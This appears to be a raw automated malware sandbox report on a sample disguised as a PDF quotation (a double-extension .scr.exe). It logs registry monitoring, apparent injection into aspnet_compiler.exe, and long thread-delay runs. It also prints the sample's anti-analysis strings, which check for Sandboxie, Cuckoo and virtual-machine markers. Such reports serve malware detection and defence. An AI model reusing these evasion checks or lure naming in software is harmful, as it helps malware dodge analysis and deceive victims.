Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2215561209.00000228E6D71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: EXPLORER SBIEDLL.DLL!CUCKOOMON.DLL"WIN32_PROCESS.HANDLE='{0}'#PARENTPROCESSID$CMD%SELECT * FROM WIN32_BIOS8UNEXPECTED WMI QUERY FAILURE&VERSION'SERIALNUMBER)VMWARE\|VIRTUAL\|A M I\|XENSELECT FROM WIN32_COMPUTERSYSTEM+MANUFACTURER,MODEL-MICROSOFT\|VMWARE\|VIRTUAL.JOHN/ANNA0XXXXXXXX
Source: QUOTATION_NOVQTRA071244PDF.scr.exe, 00000000.00000002.2215561209.00000228E6D71000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL2Y

Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Memory allocated: 228E51C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Memory allocated: 228FEC20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Memory allocated: 19050990000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Memory allocated: 19068C80000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 596187	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 596078	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 595968	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 595859	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 595747	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 595625	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 595516	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 595297	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 595188	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 599671	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 598797	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 598576	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 598452	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 598333	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 598156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 597886	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 597765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 597656	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 597546	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 597437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 597328	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 597218	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 597109	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 596999	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 596890	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 596781	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 596671	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 596562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 596453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 596343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 596234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 596124	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 596015	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 595905	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 595792	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 595653	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 595543	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 595387	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 595281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 595172	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 595062	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 594843	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 594625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 594515	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 594406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 594296	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Thread delayed: delay time: 594187	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Window / User API: threadDelayed 7843	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe	Window / User API: threadDelayed 1986	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Window / User API: threadDelayed 1841	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe	Window / User API: threadDelayed 7993	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -28592453314249787s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7340	Thread sleep count: 7843 > 30	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7336	Thread sleep count: 1986 > 30	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -99764s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -99547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -99422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -99313s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -99188s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_NOVQTRA071244PDF.scr.exe TID: 7308	Thread sleep time: -99073s >= -30000s	Jump to behavior
